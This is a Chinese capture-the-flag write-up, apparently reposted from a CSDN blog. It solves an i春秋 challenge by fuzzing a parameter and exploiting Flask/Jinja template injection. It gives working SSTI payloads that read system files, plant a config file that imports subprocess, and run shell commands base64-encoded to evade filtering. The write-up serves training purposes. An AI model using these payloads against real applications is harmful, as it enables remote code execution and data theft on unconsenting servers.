自学内容网 自学内容网

i春秋-FUZZ(python模板注入、base64编码命令执行)

练习平台地址

竞赛中心

题目描述

题目内容

很直接就是要fuzz参数

参数字典

dpaste/eH2Z1 (Plain Text)

 BP爆破参数

发现存在name参数

尝试sql注入

发现输入啥就回显啥,猜测是模板注入 

测试是不是模板注入

虽然9*9没有被执行,但是config执行了,说明是python模板注入

 python模板注入

读版本文件

?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}

 向SSTI漏洞注入

?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

向config对象添加一个新项

?name={{ config.from_pyfile('/tmp/owned.cfg') }} 

通过向SSTI漏洞注入来检测是否成功

?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }} 

成功返回

 注意:小括号单引号中的内容即为我们可以使用cmd执行的代码

构造payload

?name={{ config['RUNCMD']('ls',shell=True) }} 

 如果执行失败可能是进行了拦截

将要执行的命令base64编码后再尝试

ls

?name={{ config['RUNCMD']('`echo bHM= | base64 -d`',shell=True) }}


?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

ls -al 

?name={{ config['RUNCMD']('`echo bHMgLWFs | base64 -d`',shell=True) }}


?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

 cat var/www/html

?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

 cat var/www/html/fl4g

?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

flag

flag{7539a3bf-2b2e-4069-a889-f3df79f69a8b} 

注释事项

1.如果输入啥就会回显啥,那么大概率是模板注入

2.如果模板注入直接执行命令不行,可以尝试进行base64编码 


原文地址:https://blog.csdn.net/2301_79090248/article/details/143839295

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!